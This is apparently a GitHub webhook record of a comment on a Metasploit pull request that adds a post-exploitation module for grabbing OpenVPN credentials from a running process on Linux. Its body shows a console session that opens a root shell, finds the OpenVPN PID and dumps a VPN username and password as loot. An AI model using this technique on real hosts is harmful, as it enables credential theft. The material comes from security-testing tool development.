{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6108","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6108/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6108/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6108/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6108","id":112266367,"number":6108,"title":"Add OpenVPN Grab Credentials - Post Module","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":9,"created_at":"2015-10-20T01:35:37Z","updated_at":"2015-11-23T22:16:17Z","closed_at":"2015-11-23T20:25:37Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6108","html_url":"https://github.com/rapid7/metasploit-framework/pull/6108","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6108.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6108.patch"},"body":"#### Add VPN Grab Credentials\r\n\r\n\r\n  This module grab VPN credentials from a running vpn process in Linux.\r\n\r\n  References:\r\n    https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh\r\n  \r\n#### Test environment:\r\n\r\n  OpenVPN\r\n    http://linuxlove.eu/howto-setup-openvpn-on-ubuntu-15-04/\r\n\r\n#### Softwares\r\n        \r\n  OpenVPN</br>\r\n  \r\n#### Usage:\r\n\r\n##### Linux (Ubuntu 12.04.5 LTS):\r\n\r\n##### OpenVPN\r\n```\r\nmsfdevel 192.168.0.4 shell[s]:0 job[s]:0 msf> exploit(handler)  exploit \r\n\r\n[*] Starting the payload handler...\r\n[*] Started bind handler\r\n[*] Command shell session 3 opened (192.168.0.4:34386 -> 192.168.0.4:4444) at 2015-10-19 23:22:41 -0200\r\n\r\nid\r\nuid=0(root) gid=0(root) groups=0(root)\r\nps aux | grep openvpn\r\nroot      4935  0.0  0.0   6792  1948 pts/13   S+   23:21   0:00 sudo openvpn --config vpnbook-euro1-tcp443.ovpn\r\nroot      4936  0.0  0.1   5564  2808 pts/13   S+   23:21   0:00 openvpn --config vpnbook-euro1-tcp443.ovpn\r\nroot      5261  0.0  0.0   4676   820 pts/0    S+   23:23   0:00 grep openvpn\r\nespreto  28130  0.0  1.0 275532 20720 ?        Ssl  22:39   0:02 gvim modules/post/linux/gather/openvpn_credentials.rb\r\n^Z\r\nBackground session 3? [y/N]  y\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> exploit(handler)  use post/linux/gather/openvpn_credentials \r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  set SESSION 3\r\nSESSION => 3\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  set PID 4936\r\nPID => 4936\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  run\r\n\r\n[+] Module running as \"root\" user\r\n[*] OpenVPN Credentials stored in /home/espreto/.msf4/loot/20151019232421_default_192.168.0.4_openvpn.creds_333181.txt\r\n[*] Post module execution completed\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  cat /home/espreto/.msf4/loot/20151019232421_default_192.168.0.4_openvpn.creds_333181.txt\r\n[*] exec: cat /home/espreto/.msf4/loot/20151019232421_default_192.168.0.4_openvpn.creds_333181.txt\r\n\r\nUser: vpnbook\r\nPass: 8uWrepAw\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  set VERBOSE true\r\nVERBOSE => false\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)  run\r\n\r\n[+] Module running as \"root\" user\r\n[+] OpenVPN Credentials:\r\nUser: vpnbook\r\nPass: 8uWrepAw\r\n[*] OpenVPN Credentials stored in /home/espreto/.msf4/loot/20151019232835_default_192.168.0.4_openvpn.creds_761404.txt\r\n[*] Post module execution completed\r\nmsfdevel 192.168.0.4 shell[s]:1 job[s]:0 msf> post(openvpn_credentials)\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/159084593","html_url":"https://github.com/rapid7/metasploit-framework/pull/6108#issuecomment-159084593","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6108","id":159084593,"user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"created_at":"2015-11-23T22:16:17Z","updated_at":"2015-11-23T22:16:17Z","body":"@wvu-r7 Exact. With ```--auth-nocache``` this module not working. Thank you for adding this note in the description --  you’re the man! :+1: "}}